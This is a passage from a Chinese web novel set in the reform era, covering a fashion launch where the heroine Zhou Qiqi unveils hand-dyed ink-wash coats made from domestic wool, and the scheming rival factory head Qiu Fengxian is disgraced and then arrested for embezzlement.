左右两边还有两个牌匾——【国产面料新突破】【新中式大衣典范】。 看到“国产面料”这四个字,丘奉贤那颗悬着的心,像块石头一样,噗通一声落回了肚子里,甚至还激起一阵轻蔑的水花。 他紧绷的肩膀松了下来,嘴角勾起一抹毫不掩饰的嘲弄,几乎要耻笑出声。 搞这么大阵仗,铺天盖地地请这么多人,原来就为了卖点国产呢料做的衣裳?! 这大衣用国产呢料做,就直接变成了次品,和进口的料子根本不能比,一个天上,一个地下! 而且,顶多就只能卖十几块钱一件的货色,也配叫“光华”?也配开什么“新品发布会”? 简直是天大的笑话!! 他得意的劲儿又回来了,往靠背上一靠,好整以暇地等着看这场闹剧如何收场。 捅道两边的座位上,坐着的也大都是批发商和服装业内的人。 人们同样在交头接耳,嗡嗡的议论声传进丘奉贤的耳朵里,这些行内人的看法,和他的看法,竟然出奇地一致。 一个穿着中山装的中年男人摇头叹气。 “老李,你也来了?唉,我看第一厂这次是没辙了,年轻人不懂咱这计划经济,没了进口面料,拿国产货充数,糊弄谁呢?” “可不是嘛,老王,” 旁边一个戴眼镜的附和道, “张国强人是不错,可生意归生意啊,国产呢料做的大衣随便一个厂都有,何必大老远跑这儿来订?” 一个操着老广口音的批发商嗓门还挺大。 “就是!之前那个进口澳毛的‘光华’多好啊,看着就高级!国产的...啧啧啧,再怎么做,那质感能一样?价格能上去?反正我是一件都不会订的,我这次来,就是想着当面让他们把双倍定金退给我!” 令一个声音立刻响应。 “对!我也不订!国产料子,我是绝对不会订的!有这功夫,还不如去港城定点进口货呢!” “不订,一件也不订!” “就是,白跑一趟,浪费时间!” “我看啊,这发布会开完,第一厂离关门也不远了...” 听到这些,丘奉贤嘴角那抹嘲弄的笑意更深了,眼睛眯成了一条缝,身体彻底放松下来,舒服地靠在椅背上,就等着看台上如何闹出大笑话。 就在这片嗡嗡的质疑声中,舞台上的大幕忽然毫无预兆地缓缓落下,紧接着,台上的灯光“啪”地一声全灭了,整个礼堂瞬间陷入一片黑暗。 众人下意识的屏住了呼吸,交头接耳的声音戛然而止。 黑暗中,一束柔和却清晰的光柱悄然亮起,精准地打在舞台正中央。 光柱里,周柒柒亭亭而立。 她换上了一件剪彩极其利落的改良式水墨旗袍,肩上搭着同色系的薄纱披肩,头发挽起,露出光洁的额头和修长的脖颈。 那身段,那气质,在灯光下仿佛会发光,让人根本挪不开眼。 在众人的目光中,她落落大方,目光清亮地扫过台下,声音清脆得像玉珠落盘: “【柒】字牌,‘水墨光华’新品发布会,现——在——开——始!” 这年头,“发布会”对大家来说,还是新鲜事。 又见台上站着这么一位跟画报里走出来的明星一样的美人儿,台下原本漫不经心的人们不由都坐直了些,好奇地按安静下来,想看看这葫芦里到底卖得什么药。 可更让人没想到的是,周柒柒说完这话,对着台下微微颔首,竟然干脆利落地转身,步态从容地退到了舞台测采访的阴影里,把整个舞台重新留给了黑暗和寂静。 这葫芦还没开始卖药呢,就收摊了? 就在众人面面相觑,疑惑更深时。 另外一束浅淡柔和的光亮起,打在舞台另外一角,乐声响起。 灯光下,一个穿着白色飘逸古装的女子,正低头信手轻弹身前的古筝,悠扬的乐声正是从她指尖流淌而出。 她身边,一位穿着长衫、颇有仙风道骨的老者,手持毛笔,在一张宣纸上挥毫泼墨。 写罢,他拿起那张纸,用一把醇厚沧桑、极富古韵的嗓音吟诵道, 【墨池飞出北溟鱼,笔锋杀尽中山兔。】 台下不少人听得云里雾里,互相交头接耳: “这啥意思?咋还念上诗了?” “搞什么名堂?不是看新衣服吗?” “搞服装发布会,怎么还表演上节目了?” “不知道啊,不过有一说一,水平不低,挺好看的。” 越是听不懂,越是搞不清,那份好奇心就被吊得越高。 所有人的注意力都不由自主地被吸引到了舞台上,想弄明白这又念诗又搞暗灯的,到底要干啥。 就在这时,舞台中央“唰”地亮起两束光! 众人精神一振,心想这下要展示衣服了吧,这啥发布会,也就是展示之前表演个节目。 虽然新潮,但是也不算什么。 就算这样,大家的好奇心也被吊起来了,目光齐刷刷聚焦过去。 光柱下,两位气质清冷的古典美人静静站立。 她们的长相还是其次,最抓人眼球的,却是她们身上那两件大衣! 远远看去,只能分辨出是同一种深邃的色调,但款式一长一短,廓形优越,随着她们的轻微呼吸,面料似乎流淌着一种难以言喻的、沉静而高级的光泽。 美!好美! 这是台下人的第一反应,他们都下意识伸长了脖子,瞪大了眼睛,恨不得能立刻凑近了仔细瞧。 心里都在嘀咕,这模特要是能走过来就好了! 他们好想把这时装看清楚一点,再看清楚一点! 没想到,立马心想事成! 古筝乐曲声陡然加强,融入了古典和笛箫之声,节奏感变得鲜明起来。 那两位模特仿佛听到了众人的新声,踩着音乐的节点,迈开步子,沿着舞台中央那条空着的捅到,从容不迫地向观众席走来! 所有观众的视线瞬间被这突如其来的“移动风景”牢牢抓住! 他们能清晰地看到,那大衣随着模特的步伐,是如何优雅的摆动; 面料上的光泽,是如何随着光线和角度微妙流转; 那挺括又柔和的廓形,是如何完美地勾勒和衬托着身材。 这种近距离的、动态的、活生生的视觉冲击力,远比静态观看要强烈十倍! 两个模特依次走到通道尽头,最靠近观众的位置,进行了一系列的专业的展示: 她们缓缓转身,让众人看清背面的效果。 手指微提衣摆,露出精巧的内衬和缝线。 每一个定格,都像是一幅画。 追光灯始终紧紧追随着她们,让她们成为全场唯一的焦点。 这下,台下的人看得再清楚不过了! 那大衣的主调是浓墨般的漆黑,但在那深邃的黑色中,绝非死板一块,而是通过精妙的不均匀晕染,透出青灰、棕褐的微妙层次与纹路。 仿佛顶级墨汁在清水中缓缓凝固,又如同历经岁月打磨的古老砚台。 沉静,高雅,充满了呼吸感与生命力。 扣子则像是某种天然的矿石,打磨得温润如玉,与面料相得益彰。 剪裁更是精准利落,一分不多,一分不少。 原本还有的一些窃窃私语彻底消失了。 取而代之的,是一片压抑不住的、低低的惊呼和赞叹! “哇...太好看了!” “明明是一个版型,但现在这款,比原本的‘光华’还要再上一个,不,十个档次!” “她们是怎么做到的?!” 除了这些赞叹的人,更多的人,是惊讶到说不出话来。 当模特展示完毕,优雅地沿着原路返回舞台伸出时,许多人还伸长了脖子,目光依依不舍地追随着。 恰在此时,“呼——” 一阵微风恰到好处地佛过舞台,将罩在最前方两个衣架上的轻纱,如梦似幻般轻轻吹落。 同时,一束顶光精准地打下,将衣架上的亮剑大衣照的清清楚楚,它们正是刚才模特身上展示的同款! 动态的惊艳感还未从脑海中国消退,静态的实物就完美印证了刚才所见非虚。 观众此刻才得以静下心来,细细品味这件衣服完整的形态和精妙的细节。 此刻,周柒柒从容地从阴影中再次步入灯光下,走到衣架旁。 她无需多言,只用最清晰悦耳的声音宣布: “‘水墨光华’系列,首款配色——【墨池】。” 这个名字一经宣布,台下就轰动了,大家又窃窃私语起来。 他们还是第一次听说给衣服配色命名的。 有个女领导眼睛亮晶晶的,“墨池,好好听的名字?” 她旁边那个记性好,拍手恍然大悟道, “我知道刚才为什么要念诗了,【墨池飞出北溟鱼,笔锋杀尽中山兔。】,就是这款大衣带给人的感觉!配!太配了!” ...... 台上的周柒柒杏眼微弯,对这些赞美并没有太过在意,而是伸出手,指尖轻轻拂过台上两款大衣的面料,动作带着珍视与欣赏: “‘水墨光华’系列,采用独特的手工晕染工艺,每一件,都是独一无二!” 说完,她再次微微颔首,安静地退入阴影,将舞台彻底留给那两件惊艳夺目的大衣。 灯光骤然变亮,台下的人们这才惊奇地发现,衣架上那两件同属【墨池】配色的衣服,远看色调一致,但仔细瞧,那水墨晕染的纹路和深浅层次,居然处处不同,绝无重复! “独一无二”这四个字,像一把精巧却有力的锤子,重重地敲进了在场每一个批发商、每一个采购主任的心里。 他们再一次,被深深震撼了! 脑海中不由开始回味起刚才看到的走秀,以及【墨池】的各种精妙绝伦的细节。 第277章 一衣一诗,入画而来 然而,周柒柒并未给台下观众留下太多回味【墨池】的时间。 她话音刚落,舞台灯光骤然一边,从刚才沉静的墨色转为清冷空灵的蓝白光束,仿佛骤然拨开云雾,见得天光。 背景的音乐也随之切换,悠扬婉转的笛声取代了厚重的古筝,如清泉流淌,带着雨后初霁的湿润气息。 在老者那悠长又富有韵味的【雨过天青云破处,者般颜色作将来。】吟唱声中,两位身着渐变蓝灰色大衣的模特,宛如从一副氤氲的江南水墨画中走出,又像是踏着湖畔晨雾缓缓而来。 台下有懂行的观众一听这诗句,立刻激动地高呼出声。 “这是后周世宗柴荣为柴窑定的颜色,诗句也是专门写的!是老祖宗传下来的华国色!别的地方都没有!绝了!” 这声高呼,让人们的目光紧紧追随起模特身上的大衣。 那大衣的底色,是种极其清透淡雅的浅灰蓝,真的如同雨洗过后的洁净天空一样。 而在衣身一面,衣角处,更深一层的、如同天边未散云霭般的青蓝色自然晕染开来,过渡柔和得毫无痕迹。 整体色调空灵,洁净,充满了宁静的诗意与书卷气,仿佛真将一片江南的婉约天空披在了身上。 周柒柒清亮的声音适时响起:“‘水墨光华’系列第二款配色——【雨过天青】。” 不待众人细细品味这份清冷,灯光音乐再变,转为一种朦胧的、带着些许浪漫的紫调,音乐也加入了一丝悠远的神秘感。 吟唱声起:【烟光凝而暮山紫】。 第三款【暮山紫】的模特款步而出,那紫色不是那种艳俗扎眼的紫。 而是日落时分,远山被漫天暮霭温柔笼罩时,呈现出的那种朦胧、高贵又带点忧郁的紫色。 神秘、优雅,充满了浪漫的诗意。 紧接着,第四款【胭脂泪】登场。 伴着老者那句带着淡淡愁绪的【胭脂泪,相留醉,几时重。】,模特款步而出。 主题是极为纯正、浓郁、甚至带点冷调的玫红色,炽烈得像美人面颊上最娇艳的一抹胭脂。 但巧妙之处在于,衣襟、袖口或者下摆处,那浓烈的颜色仿佛被泪水濡湿、冲刷过,呈现出无比自然的水洗般渐变,过渡到柔和的浅绯,最后是近乎透明的白。 艳丽却不俗媚,深情中裹着一丝易碎的忧伤,充满了动人的故事感和戏剧张力。 这颜色,绝非寻常人能驾驭。 但穿对了,便是绝世风华! 台下的观众早就忘了最初的质疑和轻慢,一个个看得目不转睛,心潮澎湃。 每一款配色都带来全新的视觉冲击,模特的演绎和服装气质完美契合,音乐更是恰到好处地烘托着氛围。 这哪儿是卖衣服的发布会,分明是一场极高水准的、融合了诗词、音乐与时尚的东方美学盛宴! 就在众人被这接二连三的震撼冲击得应接不暇时。 隐约徒然一变,变得清爽又活泼,甚至带着点调皮劲儿。 【含风鸭绿粼粼起,弄日鹅黄袅袅垂。】 伴随着诗句,王春燕穿着最后一款【鹅黄新绿】色的短款大衣,像只欢快的小黄莺一般“飞”了出来。 那黄色绝非是甜的发腻的“幼稚黄”,通过精妙的晕染,染上了一丝淡淡的绿,呈现出一种无比清新脱俗的少女感。 温柔又活泼,明恋又柔软,仿佛把初春的喜悦与生机都穿在了身上,娇憨明媚,元气满满。 而王春燕的演绎更是精彩,她没有和之前的模特那样,走规整的台步。 而是完全沉浸在自己就是春游少女的设定,脸上挂着明亮烂漫的笑容,脚步轻快,甚至还边走边好奇地张望一下,好像真被远方的春色吸引了目光。 当着台下一百多号人的面儿,那信念感,真是绝了! 这鲜活灵动的模样,自然成功地感染了台下。 这充满生机与快乐的画面,瞬间冲淡了前面积累的沉静氛围,让台下看呆了也看累了的观众们不由自主地松弛下来,脸上纷纷露出会心一笑,整个发布会现场的气氛一下子变得轻松又愉快。 所有款式逐一惊艳亮相后,十位身着不同配色“水墨光华”的模特再次同时登台,依照“墨池”、“雨过天青”、“暮山紫”、“胭脂泪”、“鹅黄新柳”的顺序,错落有致地站定。 灯光豁然大亮,将整个舞台照得如同白昼,背景音乐也攀升至最高潮,随后在一个强有力的音符上戛然而止。 刹那间,整个舞台仿佛活了过来,变成了一副流动的、立体的、气势磅礴的《千里江山图》! 五种意境悠远的配色,十款各具风姿的款式,交相辉映,美得令人窒息。 直到此刻,周柒柒才再次从容登场。 她走到模特方阵前方,接过话筒,目光平静地扫过台下那一张张写满震撼的脸,朗声道: “感谢各位今日莅临我们【柒】字牌的新品发布会,如各位所见,这就是我们倾力打造的全新系列——‘水墨光华’。” 台下先是死一般的寂静,仿佛所有人都被这极致的东方美学攫住了呼吸。 紧接着,雷鸣般的掌声如同决定的洪水般,猛然爆发,经久不息! 无论是之前心存疑虑的外地批发商,还是见多识广的百货大楼采购主任,甚至是轻工业局和市委那些向来严肃的领导,以及周柒柒特意请来的朋友们,赵大梅,朱莹莹,邓翠香,还有小护士袁小圆,她身边坐着的雷鸣... 等等等等,无疑例外,全都发自内心地用力鼓掌,脸上洋溢着激动与赞叹。 坐在丘奉贤前面那位,不久前还在说着第一服装厂要完蛋的外地批发商,此刻眼睛瞪得溜圆,完全被台上的景象吸引,不由自主地拍着大腿感叹: “绝了!真是绝了!这新款的水墨光华,比之前那澳毛的光华,强了两倍,啊不,十倍都不止啊!” 其他人也都不由自主的感慨。 “这才是咱们自己的东西!有魂儿!有味儿!” “这舞台不止,这音乐,这诗词...第一服装厂和周柒柒同志真是用了心了!” “好看!太高级了!这大衣穿出去,得多有面子!” ... 赞美声从四面八方涌来,角度各一,但核心都是无比的惊艳与认可。 然而,热烈的气氛中,也夹杂了一些清醒却刺耳的声音。 之前那个操着老广口音的批发商猛地站起来,高声质疑道: “好看是好看!可这料子看着就金贵!成本肯定高的吓人吧?这怕是...不好卖啊!” 这话立刻戳中了不少人的心思,马上有人附和: “是啊!肯定很贵!” 一位百货大楼的采购主任站了起来,推了推眼镜,语气务实: “之前的澳毛‘光华’系列,你们厂给我们的进价是二十五,厂里定价实在,我们也没想赚狠心钱,终端卖四十块钱,就这个价格,很多家庭还得掂量掂量才能买得起,你这新的系列,看着比澳毛还高级,还厉害,我估摸着,进价起码得三十五往上走,这要卖起来,五十块钱都打不住!” 这个价格令大家都有些咂舌,纷纷表示: “现在大家手里是比过去宽裕了点,但也没多少人舍得花那么多钱买一件大衣啊!” 虽然质疑的是价格,但有一个事实,却在这质疑声中被无形地认定了——这款大衣的水墨料子,绝对高级! 比那进口的澳毛还要高级得多! 台上的周柒柒闻言,微微一笑,那笑容里带着一丝早就预料到的从容。 她咳嗽了一声,提高了音量,声音清晰地压过现场的嘈杂: “咳咳,各位,你们想得太多了。” 她顿了顿,抛出一颗重磅炸弹: “我们这款【水墨光华】,作为打响‘柒’字牌系列产品的头炮,给各位的进价——只要二十块!” 不等台下哗然,她紧接着宣布, “同样,这款产品的终端零售价,我们也有统一规定,最高不得超过三十五块钱!” “我想做的,是让普通的女性,也都能穿上水墨光华!” 台下瞬间炸开了锅,惊呼声、质疑声、难以置信的议论声比刚才的赞美还要疯狂十倍! “多...多少?我不是听错了吧?” “只要二十块?!” “疯了吧!这比之前基础的‘光华’还便宜五块钱?!” “这不得赔掉裤衩啊?!” “周同志,你这葫芦里卖的什么药?哪儿有你这么做生意的?” ...... 所有人都觉得周柒柒是不是被压力逼疯了,才会做出这种明显亏本的买卖。 在一片几乎要掀翻屋顶的声浪中,周柒柒的笑容依旧从容淡定。 她抬手虚按了一下,示意大家安静,但台下的人都疯狂了,一时还是有些嘈杂,还是弹奏古筝的师傅适时弹奏了几个音节,才让现场安静下来。 周柒柒从容一笑,朗声道: “虽然这款产品,我们确实是想着薄利多销,打开市场,所以定价确实比正常的产品要低,但是——” 她目光扫过全场, “我周柒柒是做生意,不是做慈善,这个定价赚的不多,但是绝对不会亏本,因为——” 第278章 他肠子都悔青了! 周柒柒故意拉长了声音,将所有人的好奇心吊到最高点,然后猛地一抬手,指向舞台侧方的牌匾上。 上面赫然写着【国产面料新突破】。 这个牌匾大家刚进来就看到了,当时还在嘲笑国产面料怎么可能做出好东西,但等产品出来,他们就自然而然地给忘了。 或者说,骨子里就觉得,这不可能是国产面料做的。 这会儿看着周柒柒再度指向它,众人心里才嘀咕起来,难道...? 这时,张国强手里捧着一卷灰扑扑、毫不起眼的原色呢布料,步伐稳健的走了出来,脸上带着自豪的笑容。 与此同时,周柒柒清亮的声音如同惊雷,炸响在每个人耳边: “因为,我们的核心原料,正是眼前这种——国产原布呢料!” 这话如同石破天惊,台下瞬间陷入一片死寂。 所有人都瞪大了眼睛,难以置信地看着张国强手里那块平平无奇、甚至有些粗糙的布料,再看看台上那些美轮美奂、流光溢彩的大衣,巨大的反差让他们的大脑一片空白,完全无法将两者联系起来。 “什么?!” “国产料子?!” “这...这怎么可能?” ...... 周柒柒的目光扫过一张张震惊的脸,重重点头道, “没错!国产的呢料在设备和工艺上,确实比外国差了一大截,尤其是在染色均匀度上,一直被我们视为缺陷。” 她话锋徒然一转,充满了力量和自豪: “但我们错了!大错特错!这所谓的不均匀,不是它的缺陷!而是大自然赋予每一寸羊毛独一无二的纹理。” 她走到张国强身边,手指轻轻附过他手中的原布, “我们所做的,不是用工业化的染料去强行掩盖它、抹平它!而是用传承自古老东方的匠心手艺,去唤醒它、顺应它、升华它!所以,这里的每一件大衣,它的晕染效果都是我们第一服装厂的女工们手工刷染的,每一件都是独一无二的艺术品!” 她走到一名身着【墨池】大衣的模特身边,轻轻拂过那流动着生命力的黑色面料,目光灼灼地看向台下: “它不仅仅是一件衣服。它是一幅画,一幅你可以穿在身上的、活的、流动的——中国水墨画!” “好!太好了!太好了啊!” 周柒柒的话音刚落,台下瞬间沸腾了! 一股油然而生的民族自豪感涌现在每个人胸膛,原来国产的老技术不是不行,而是之前没有找到好的运用方法而已! 这么好的面料效果,真的是国产面料带来的! 他们都为自己刚才的想法感到羞愧,一时之间掌声、叫好声几乎要掀翻礼堂的屋顶。 尤其是坐在第一排的那几位,B省第三毛纺厂的厂长激动得满脸通红,刚才全程他都死死憋着,就等着这一刻呢! 他旁边坐着其他几个毛纺厂的领导,此刻全都扭过头,一脸不可思议地看着他。 谁不知道第三毛纺厂这些年过得艰难? 一直死守着国产的老工艺和老机器,生产出来的料子根本卖不过那些光鲜亮丽的进口货,厂子效益连年下滑,都快揭不开锅了。 谁能想到,天降这么个大馅饼,不偏不倚正好砸他们头上了! 这一下,可不是简单的订单问题,这是彻底翻身,是把他们厂子乃至整个国产毛纺的招牌都给擦亮了啊! 厂长感受到越来越多聚焦过来的目光,激动得猛地从座位上蹦了起来,满脸红光,不住地朝着四周点头,声音都带了颤音: “对!没错!是我们厂的料子!是我们厂的!” 那兴奋劲儿,跟中了头彩一模一样。 台下全是啧啧称奇的夸赞声。 刚才那位百货大楼的采购主任推了推眼镜,一脸佩服地高声问道: “周同志,你们这脑子是咋长的?怎么能想到这么绝的法子?把‘缺陷’变成独一无二的美!我干了这么多年采购,从来没见过这种诠释方式!太厉害了!” “这个嘛...” 周柒柒微微一笑,目光状似无意地扫过全场,最后,精准地落在了最后一排那个脸色铁青、恨不得缩进椅子里的丘奉贤身上。 她唇角微扬,露出一抹意味深长的浅笑: “‘水墨光华’的诞生,说起来,还得感谢一次‘意料之外’的磨难。感谢某些人,处心积虑做空了我们原本要用的进口澳毛面料。” 她顿了顿,看着丘奉贤瞬间煞白的脸,缓缓继续: “正是这份‘厚礼’,逼得我们山穷水尽,才不得不回过头,重新审视我们自己的东西。这才发现了国产面料深处独一无二的‘东方魂’。” 听到她这么说,台下顿时议论纷纷,许多人义愤填膺地追问。 “谁啊?谁这么下作?” “太缺德了!居然背后使这种绊子!” “就是!差点耽误了这么好的产品!” 而如张国强、李萍等知情人,则都会心一笑,目光毫不掩饰地,齐刷刷地钉在了最后一排的丘奉贤身上。 一瞬间,丘奉贤成了全场瞩目的焦点,却是以最耻辱、最难堪的方式。 他只觉得眼前一阵发黑,耳朵里嗡嗡作响,台上周柒柒的声音、周围的议论声都变得模糊不清,只有那些刀子似的目光无比清晰。 血压噌地往上飙,脑袋晕眩得厉害。 “看什么看!有什么好看的!” 他猛地站起来,色厉内荏地吼了一声,试图用凶巴巴的表情掩饰内心的慌乱和狼狈。 可他这一吼,反而更引起了注意。 几个从花城来的批发商立刻认出了他: “哎!这不是第三服装厂的丘厂长吗?” “对对对!就是他!专搞抄袭仿冒那一套!用的料子都是最次的!” “没错!上回进他一批货,全是以次充好,去找他理论,他还死不承认!” “这种人的厂子,迟早要完!” 人群里,一个带着明显S市口音的人也高声插话: “他整垮别人厂子可不是头一回了!早先第二服装厂,就是被他用类似手段坑得半死不活!现在又想用同样的法子来搞第三服装厂!” 全场哗然! 看向丘奉贤的目光顿时从好奇、鄙夷变成了彻底的厌恶和愤怒。 “原来是这种害群之马!” “滚出去!这里不欢迎你!” “对!滚出去!别脏了人家的地方!” “滚出去!” 不知是谁先喊了一声,紧接着,愤怒的斥责声便连成了一片,人人喊打,气势惊人! 丘奉贤脸色由青变紫,由紫转黑,整个人狼狈不堪。 他死死盯着台上那十款惊艳夺目、气场全开的新品,再看着台上那个从容不迫、光芒四射的周柒柒,心里最后那点侥幸也彻底熄灭了,他这下是彻彻底底地明白了—— 这回,他栽了,栽得彻彻底底! 这么多天,他像个跳梁小丑一样,做着周柒柒会来求他的美梦。 却没想到,人家说的是真的! 她根本没打算求他,而是硬生生把他最看不起的国产下脚料,点石成金,化腐朽为神奇! 这效果,比用顶级澳毛做出的“光华”还要震撼人心! 看着台下那些批发商、采购主任们狂热的表情,他用脚趾头想都知道。 周柒柒这新品绝对会大卖! 不,不止是大卖,恐怕会引发抢购狂潮! 甚至比之前的光华系列还要火爆! 第一服装厂和“柒”字牌,这下恐怕要出名赚大钱了! 连带着国产呢料,也要大放光彩! 而他呢?! 他囤积了那么多高价澳毛和骆驼绒,把厂子抵押了,挪用了所有能挪用的资金,甚至把整个厂都停工了... 可现在这情况,别说发财了,光是巨额的利息和到期的货款,就能把他彻底压垮! 他和他的第三服装厂,都完了! 不行!绝对不能坐以待毙! 他得想办法。 丘奉贤脑子里一片混乱,只剩下最后一个念头。 他狠狠剜了台上的周柒柒一眼,眼神怨毒,从牙缝里挤出一句:“你...你给我等着!” 说完,他也顾不上颜面了,在一片“滚出去”的怒斥声中,几乎是连滚带爬地挤出座位,像个丧家之犬一样,踉踉跄跄地冲出了第一服装厂的礼堂。 一跑到外面,他也顾不得许多,心急火燎地四处张望,瞧见路边有个书报亭,便像抓到救命稻草一般扑了过去。 他手抖得差点拿不住听筒,急急忙忙地拨通了一个号码。 现在能捞他一把的,或许只有“宏哥”了! 听筒里传来“嘟——嘟——”的长音,每一声都让他觉得格外漫长。 就这么响了七八声,就在他快要绝望的时候,电话终于被接起来了。 可那边传来的,却不是一个熟悉的、带着懒洋洋腔调的声音,而是一个冰冷、严肃,不带丝毫感情的声音,“喂,哪位?” 丘奉贤心里咯噔一下,硬着头皮说,“我...我找宏哥,哦,不,是宏公子。” 对方沉默了一秒,然后冰冷的声音再次响起,“我是省纪委调查组的,你是谁?找魏宏有什么事?” 省纪委?! 丘奉贤吓得魂飞魄散,手猛地一抖,电话听筒“啪”地一声重重砸在台子上,震得他耳膜嗡嗡作响。 完了!完了完了! 怎么会是纪委?! 难道是宏哥那边出事了?他被查了? 巨大的恐惧瞬间攫住了他,冷汗唰地一下浸透了后背。 宏哥要是倒了,他干的那些事肯定兜不住!他也得玩完! 挪用公款、恶意竞争、骗取贷款...哪一条都够他喝一壶的! 跑!必须立刻跑! 他猛地想起家里床底下还藏着一袋子现金,是小姨子挪用了厂子钱后,他从里面偷着拿出来的,足有好几千块,那是他最后的老本。 对!拿上钱赶紧跑! 他脑子里乱成一锅粥,又想到还在上班的老婆,还有在学校上学的孩子,要不要一起带上? 这个念头刚冒出来就被他狠狠掐灭了。 自身都难保了,还带什么拖油瓶! 而且他们都走了,厂里那堆烂摊子、挪用的公款谁来顶? 得有人背锅...对,小姨子! 厂子里账目都是她经手的,让她背锅再合适不过了! 他越想越觉得就该这么办,像个无头苍蝇死的,转身就想往家跑。 可还没跑出去两步,眼前忽然一暗,一个穿着板正中山装、面色严肃的男人挡在了他面前,身边还跟着两名身着公安制服的人。 那个穿着中山装的男人亮出一个正经,目光锐利地锁定他,声音严肃, “你就是丘奉贤吧?我是S市纪委的,请你跟我们回去,配合调查。” 怎么会这么快? 丘奉贤只觉得一股寒气从脚底板直冲天灵盖,腿肚子都在打颤! 他下意识想掉头跑,结果猛地一转身,却结结实实撞进一个坚实冷硬的胸膛上,撞得他鼻梁生疼,眼冒金星。 他踉跄着抬头一看,心里顿时凉了半截。 拦住他去路的,是一个身材高大挺拔、穿着笔挺军装的男人,眉眼冷峻,眼神锐利如刀。 那男人动作快得他根本没看清,只觉得手腕一痛,天旋地转。 下一秒,他就被干脆利落地撂倒在地,冰冷的手铐“咔哒”一声锁住了他的手腕。 “老实点!” 低沉的声音带着一股杀伐果断的压迫感,丘奉贤吓得整个人都瘫倒在地上。 军人将他从地上提起来,交给那两位纪委同志和公安, “同志,因为我爱人的事,麻烦你们了。” 纪委的人显然认识这军人,态度很客气, “沈团长,您太客气了,协助办案是我们的职责,周柒柒同志是咱们市的优秀企业家,绝不能放任这种挪用公款、破坏改革的蛀虫胡作非为,伤害到她。” 他顿了顿,笑道,